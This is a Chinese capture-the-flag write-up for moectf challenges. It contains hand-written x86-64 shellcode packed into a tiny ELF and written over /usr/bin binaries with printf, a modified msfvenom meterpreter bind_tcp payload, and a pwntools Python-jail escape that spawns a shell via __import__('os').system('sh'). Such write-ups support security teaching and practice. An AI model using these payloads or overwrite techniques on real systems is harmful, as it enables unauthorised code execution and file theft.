# 将/flag.txt字符串写入栈并将地址保存到r11寄存器
mov r10,0x74;
push r10;
mov r10,0x78742E67616C662f;
push r10;
mov r11,rsp;
# 构造sys_open 打开/flag.txt
sub rsp,0x100;
mov rax,2;
mov rdi,r11;
xor rsi,rsi;
mov rdx,rsi;
syscall;
# 构造sys_read 读取/flag.txt
mov rdi,rax;
mov rsi,rsp;
mov rdx,0x80;
xor rax,rax;
syscall;
# 构造sys_write 输出/flag.txt
mov rdi,1;
mov rax,rdi;
syscall;
生成的shellcode
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 49 C7 C2 74 00 00 00 41 52 49 BA 2F 66 6C 61 67
00000010 2E 74 78 41 52 49 89 E3 48 81 EC 00 01 00 00 48
00000020 C7 C0 02 00 00 00 4C 89 DF 48 31 F6 48 89 F2 0F
00000030 05 48 89 C7 48 89 E6 48 C7 C2 80 00 00 00 48 31
00000040 C0 0F 05 48 C7 C7 01 00 00 00 48 89 F8 0F 05
发现用什么工具编译都不能弄出不依赖libc的东西,静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍,一般只有250b,用ida打开发现都是纯纯大汇编。利用winhex将入口(0x78处)的shellcode换成我们的。
覆写完的文件hex
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF
00000010 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 > x @
00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @
00000030 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00 @ 8
00000040 01 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00
00000050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 @ @
00000060 FA 00 00 00 00 00 00 00 7C 01 00 00 00 00 00 00 ? |
00000070 00 10 00 00 00 00 00 00 49 C7 C2 74 00 00 00 41 I锹t A
00000080 52 49 BA 2F 66 6C 61 67 2E 74 78 41 52 49 89 E3 RI?flag.txARI夈
00000090 48 81 EC 00 01 00 00 48 C7 C0 02 00 00 00 4C 89 H ? H抢 L?
000000A0 DF 48 31 F6 48 89 F2 0F 05 48 89 C7 48 89 E6 48 逪1鯤夠 H壡H夋H
000000B0 C7 C2 80 00 00 00 48 31 C0 0F 05 48 C7 C7 01 00 锹€ H1? H乔
000000C0 00 00 48 89 F8 0F 05 25 49 FF C9 74 18 57 6A 23 H夬 %I蓆 Wj#
000000D0 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F Xj j H夌H1? YY_
000000E0 48 85 C0 79 C7 6A 3C 58 6A 01 5F 0F 05 5E 6A 7E H吚y莏<Xj _ ^j~
000000F0 5A 0F 05 48 85 C0 78 ED FF E6 Z H吚x??
由于我们直接写入的文件没有可执行权限,chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用printf函数无损写入
printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xFA\x00\x00\x00\x00\x00\x00\x00\x7C\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x49\xC7\xC2\x74\x00\x00\x00\x41\x52\x49\xBA\x2F\x66\x6C\x61\x67\x2E\x74\x78\x41\x52\x49\x89\xE3\x48\x81\xEC\x00\x01\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x4C\x89\xDF\x48\x31\xF6\x48\x89\xF2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\xC7\xC2\x80\x00\x00\x00\x48\x31\xC0\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xF8\x0F\x05\x25\x49\xFF\xC9\x74\x18\x57\x6A\x23\x58\x6A\x00\x6A\x05\x48\x89\xE7\x48\x31\xF6\x0F\x05\x59\x59\x5F\x48\x85\xC0\x79\xC7\x6A\x3C\x58\x6A\x01\x5F\x0F\x05\x5E\x6A\x7E\x5A\x0F\x05\x48\x85\xC0\x78\xED\xFF\xE6" > /usr/bin/base64
执行
root@ret2shell-89-9018:~# base64
moectf{BU5YB0x-i5_SOO0OoO10OOOo0OOoOOOOO0o0OOo_BUSyd}
Segmentation fault (core dumped)
root@ret2shell-89-9018:~#
同上题,先构造纯纯大汇编读取/etc/nginx/nginx.conf
nginx的配置文件
mov r10,0x666E6F632E;
push r10;
mov r10,0x786E69676E2F786E;
push r10;
mov r10,0x69676E2F6374652F;
push r10;
mov r11,rsp;
sub rsp,0x300;
mov rax,2;
mov rdi,r11;
xor rsi,rsi;
mov rdx,rsi;
syscall;
mov rdi,rax;
mov rsi,rsp;
mov rdx,0x800;
xor rax,rax;syscall;
mov rdi,1;
mov rax,rdi;
syscall;
读取到
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
用cd命令获取各个conf的文件夹,发现仅cd /etc/nginx/sites-enabled/的时候存在default文件,再用纯纯大汇编读取/etc/nginx/sites-enabled/default。
xor r10,r10;
push r10;
mov r10,0x746C75616665642F;
push r10;
mov r10,0x64656C62616E652D;
push r10;
mov r10,0x73657469732F786E;
push r10;
mov r10,0x69676E2F6374652F;
push r10;
mov r11,rsp;
sub rsp,0x300;
mov rax,2;
mov rdi,r11;
xor rsi,rsi;
mov rdx,rsi;
syscall;
mov rdi,rax;
mov rsi,rsp;
mov rdx,0x800;
xor rax,rax;syscall;
mov rdi,1;
mov rax,rdi;
syscall;
读取到
server {
listen 80 default_server;
root /var/www/html;
location / {
index index.html;
}
}
/etc/nginx/sites-enabled/default
现在得知nginx监听的是80端口,用纯纯大汇编写一个监听80端口,并将接收到的tcp流量输出出来,直接写起来有点费劲,想起来meterpreter
的bind_tcp
功能与我期望的功能类似,bind_tcp
是将接收的tcp流量shellcode写入内存跳转执行,我只需要将跳转执行这一段汇编代码改为输出,就能够获取接收的字符串了。
先用msfvenom
生成一个马,
msfvenom -p linux\x64\meterpreter\bind_tcp LPORT=80 -f elf -o nginx
得到的程序反汇编
LOAD:0000000000400078 push 29h ; ')'
LOAD:000000000040007A pop rax
LOAD:000000000040007B cdq ; protocol
LOAD:000000000040007C push 2
LOAD:000000000040007E pop rdi ; family
LOAD:000000000040007F push 1
LOAD:0000000000400081 pop rsi ; type
LOAD:0000000000400082 syscall ; LINUX - sys_socket
LOAD:0000000000400084 xchg rax, rdi ; fd
LOAD:0000000000400086 push rdx
LOAD:0000000000400087 mov [rsp+8+var_8], 50000002h
LOAD:000000000040008E mov rsi, rsp ; backlog
LOAD:0000000000400091 push 10h
LOAD:0000000000400093 pop rdx ; upeer_addrlen
LOAD:0000000000400094 push 31h ; '1'
LOAD:0000000000400096 pop rax
LOAD:0000000000400097 syscall ; LINUX - sys_bind
LOAD:0000000000400099 pop rcx
LOAD:000000000040009A push 32h ; '2'
LOAD:000000000040009C pop rax
LOAD:000000000040009D syscall ; LINUX - sys_listen
LOAD:000000000040009F xchg rax, rsi ; upeer_sockaddr
LOAD:00000000004000A1 push 2Bh ; '+'
LOAD:00000000004000A3 pop rax
LOAD:00000000004000A4 syscall ; LINUX - sys_accept
LOAD:00000000004000A6 push rax
LOAD:00000000004000A7 push rsi
LOAD:00000000004000A8 pop rdi ; addr
LOAD:00000000004000A9 push 9
LOAD:00000000004000AB pop rax
LOAD:00000000004000AC cdq
LOAD:00000000004000AD mov dh, 10h
LOAD:00000000004000AF mov rsi, rdx ; len
LOAD:00000000004000B2 xor r9, r9 ; off
LOAD:00000000004000B5 push 22h ; '"'
LOAD:00000000004000B7 pop r10 ; flags
LOAD:00000000004000B9 mov dl, 7 ; prot
LOAD:00000000004000BB syscall ; LINUX - sys_mmap
LOAD:00000000004000BD xchg rax, rsi
LOAD:00000000004000BF xchg rax, rdi
LOAD:00000000004000C1 pop rdi
LOAD:00000000004000C2 syscall ; LINUX -
LOAD:00000000004000C4 jmp rsi
这里,只需要将末端的jmp rsi
指令替换成以下指令,rsi为转跳地址,就是获取的字符串地址,无需修改,由于汇编码长于之前的代码,需要修改0x60
处的文件大小。
mov rax,1;
mov rdi,rax;
mov rdx,0x800;
syscall;
试一试
root@ret2shell-91-9018:~# printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xE6\x00\x00\x00\x00\x00\x00\x00\x14\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x6A\x29\x58\x99\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x48\x97\x52\xC7\x04\x24\x02\x00\x00\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x6A\x32\x58\x0F\x05\x48\x96\x6A\x2B\x58\x0F\x05\x50\x56\x5F\x6A\x09\x58\x99\xB6\x10\x48\x89\xD6\x4D\x31\xC9\x6A\x22\x41\x5A\xB2\x07\x0F\x05\x48\x96\x48\x97\x5F\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x00\x10\x00\x00\x48\x89\xF8\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05" > /usr/bin/base32
root@ret2shell-91-9018:~# base32
GET /files/0b9b96e8-65d1-431f-a056-923c1cded988 HTTP/1.1
accept: */*
host: 127.0.0.1
root@ret2shell-91-9018:~#
多次尝试,发现只有对端发送的代码,没有flag,再次读题,题目说明“客户”:会不断请求损坏的服务器,如果客户高兴的话,就会给你 flag(以请求参数形式传递);
,并且cd 到html目录,发现服务器内存在对应文件,推断需要客户访问到对应的文件内容,才能反馈flag。这个要求代码量极大,用纯纯大汇编写起来非常坐牢,无奈退而求其次,用万能的chatgpt写一段c语言模拟httpserver服务,静态编译完扔回服务器。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PORT 80
#define BUFFER_SIZE 4096
#define WEB_ROOT "/var/www/html"
void handle_client(int client_socket) {
char buffer[BUFFER_SIZE];
char method[16], path[256], protocol[16];
char full_path[BUFFER_SIZE];
int file_fd;
ssize_t bytes_read;
// 读取客户端请求
bytes_read = read(client_socket, buffer, sizeof(buffer) - 1);
if (bytes_read <= 0) {
perror("read");
close(client_socket);
return;
}
buffer[bytes_read] = '\0';
// 将请求内容打印到标准输出
printf("Received request:\n%s\n", buffer);
// 解析 HTTP 请求行(GET /path HTTP/1.1)
sscanf(buffer, "%s %s %s", method, path, protocol);
// 只处理 GET 请求
if (strcmp(method, "GET") != 0) {
const char *response = "HTTP/1.1 501 Not Implemented\r\n\r\n";
write(client_socket, response, strlen(response));
close(client_socket);
return;
}
// 处理请求路径
snprintf(full_path, sizeof(full_path), "%s%s", WEB_ROOT, path);
// 如果请求的是目录,默认返回 index.html
if (full_path[strlen(full_path) - 1] == '/') {
strncat(full_path, "index.html", sizeof(full_path) - strlen(full_path) - 1);
}
// 打开文件
file_fd = open(full_path, O_RDONLY);
if (file_fd < 0) {
// 文件未找到,返回404
const char *response = "HTTP/1.1 404 Not Found\r\n\r\n";
write(client_socket, response, strlen(response));
close(client_socket);
return;
}
// 发送响应头
const char *response_header = "HTTP/1.1 200 OK\r\n\r\n";
write(client_socket, response_header, strlen(response_header));
// 发送文件内容
while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0) {
write(client_socket, buffer, bytes_read);
}
// 关闭文件和客户端连接
close(file_fd);
close(client_socket);
}
int main() {
int server_fd, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_addr_len = sizeof(client_addr);
// 创建套接字
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
// 设置服务器地址结构
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
// 绑定套接字到指定的端口
if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("bind failed");
close(server_fd);
exit(EXIT_FAILURE);
}
// 开始监听端口
if (listen(server_fd, 10) < 0) {
perror("listen failed");
close(server_fd);
exit(EXIT_FAILURE);
}
printf("HTTP server is listening on port %d, serving %s\n", PORT, WEB_ROOT);
// 主循环,处理客户端连接
while (1) {
// 接受客户端连接
client_socket = accept(server_fd, (struct sockaddr *)&client_addr, &client_addr_len);
if (client_socket < 0) {
perror("accept failed");
close(server_fd);
exit(EXIT_FAILURE);
}
// 处理客户端请求
handle_client(client_socket);
}
// 关闭服务器套接字
close(server_fd);
return 0;
}
编译
gcc httpserver.c --static -o httpserver
由于生成的静态文件过大,一次性写入服务器会崩溃。
需要分段写入到可执行文件内,写出python脚本分割文件。
def file_to_hex_chunks(file_path, chunk_size=100000):
i = 1
with open(file_path, 'rb') as file:
while True:
# 读取指定大小的块
chunk = file.read(chunk_size)
if not chunk: # 如果读取不到数据则退出循环
break
# 将每个字符转为\x格式的十六进制
hex_chunk = ''.join(f'\\x{byte:02x}' for byte in chunk)
# 输出结果
f = open(str(i)+".txt","w")
if i == 1:
f.write('printf "'+hex_chunk+'" > /usr/bin/base32')
else:
f.write('printf "'+hex_chunk+'" >> /usr/bin/base32')
f.close()
i +=1
# 示例使用
file_path = './httpserver'
file_to_hex_chunks(file_path)
将分段生成的命令依次输入终端,执行base32命令,得到flag。
root@ret2shell-91-9018:~# base32
HTTP server is listening on port 80, serving /var/www/html
Received request:
GET /files/f4e6aaf0-e319-4f07-941c-a01f4e4622f2 HTTP/1.1
accept: */*
host: 127.0.0.1
Received request:
GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1
accept: */*
host: 127.0.0.1
Received request:
GET /files/ca577100-1755-42ab-85d5-8d37b62da6e0 HTTP/1.1
accept: */*
host: 127.0.0.1
Received request:
GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1
accept: */*
host: 127.0.0.1
python的沙箱逃逸,直接力大砖飞
# coding=utf-8
from pwn import *
r = remote('192.168.248.1',1212)
def bypass(strs):
r.recvuntil(" enter ")
ques = r.recvuntil("=",drop=True)
ans = eval(ques)
r.sendline(ans)
r.recvuntil("payload:")
r.sendline(strs)
bypass("__import__('os').system('sh')")
r.interactive()
目录和根目录都没有flag,拿到程序源码,不知道为啥system和os都被ban了exp还能用。
import re
CONFIG_USE_FORK = True
MOTD = """😋 Welcome to the ez python jail!"""
def my_safe_eval(code):
if re.match(r"os|system|[\\\+]", code):
return "Hacked By Rx"
return eval(code)
def chall(input, print):
code: str = input("Give me your payload:")
if len(code) > 100:
print("Too long code, Sry!")
return
value = my_safe_eval(code)
print(value)
def handle(input, print):
import random
import string
print(
"HTTP/1.1 302 Found\r\nLocation: https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/\r\nContent-Length: 0\r\n\r\n===HTTP REQUEST PREVENT===\x00\033c"
)
try:
print(MOTD)
count = 0
while True:
captcha = "".join(
random.choices(string.ascii_uppercase + string.digits, k=6)
)
captcha2 = "".join(
random.choices(string.ascii_uppercase + string.digits, k=6)
)
if (
input(
f"🤨 Are you robot? Please enter '{captcha}'+'{captcha2}'=? to continue: "
)
.strip()
.upper()
!= captcha + captcha2
):
count += 1
print("🤖 Robot detected, try again")
if count > 5:
print("🤖 Too many tries, blocked")
break
continue
count = 0
try:
chall(input, print)
except Exception as e:
print(f"🤔 Error: {e}")
except Exception as e:
print(
f"\033c ========== Unhandled Error! ==========\n🥺 We cannot recover from error: {e}\nChild process exited. Please reconnect or ask administrators for help if error persist"
)
def daemon_main():
import os
import socket
import subprocess
print("[Info] Server starting")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pwd = os.path.dirname(__file__)
script = open(__file__, "rb").read()
self_fd = os.memfd_create("main")
os.write(self_fd, script)
os.lseek(self_fd, 0, os.SEEK_SET)
os.chmod(self_fd, 0o444)
try:
sock.bind(("0.0.0.0", 9999))
sock.listen(1)
while True:
try:
conn, addr = sock.accept()
print(f"[Info] Connected with {addr}")
fd = conn.fileno()
subprocess.Popen(
[
"python",
"/proc/self/fd/{}".format(self_fd),
"fork",
],
stdin=fd,
stdout=fd,
stderr=fd,
pass_fds=[self_fd],
cwd=pwd,
env=os.environ,
)
except Exception as e:
print(f"[Error] {e}")
except KeyboardInterrupt:
print("[Info] Server stopped")
finally:
sock.close()
print("[Info] Server closed")
if __name__ == "__main__":
import sys
if len(sys.argv) == 2 and sys.argv[1] == "fork":
del sys
handle(input, print)
else:
daemon_main()
查看启动文件,发现flag在/tmp目录下,文件名很长
#!/bin/sh
# FLAG="test{this_is_the_test_flag_and_never_be_used_in_production}"
echo "$FLAG" > "/tmp/.therealflag_$(echo "$FLAG" | sha512sum)"
unset FLAG
FILE=$(which "$0")
DIR=$(dirname "$FILE")
export PYTHONPATH="$DIR:$PYTHONPATH"
exec python "$DIR/main.py" "$@"
直接cat /tmp/.*
$ cd /tmp
$ cat *
cat: can't open '*': No such file or directory
$ cat *.
cat: can't open '*.': No such file or directory
$ cat .*
cat: read error: Is a directory
cat: read error: Is a directory
moectf{ah_H4-NoW-yOu_Know_hoW-T0_esc4PE_sImpIe-STrIng_Fl1ter0}
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!